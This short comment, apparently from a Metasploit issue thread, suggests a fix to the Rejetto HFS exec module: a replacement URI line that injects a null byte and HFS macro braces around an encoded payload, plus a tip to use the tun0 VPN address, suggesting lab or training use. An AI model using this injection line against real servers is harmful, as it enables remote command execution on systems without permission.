Try to fix it with this:

Line 110 in rejetto_hfs_exec.rb should be changed as follows:

'uri' => "/?search=%00{.#{URI::encode_www_form_component(payload)}.}"

And if it doesn't work...
it's because you are using eth0 instead of tun0 IP. Be careful next time.

https://github.com/rapid7/metasploit-framework/issues/13973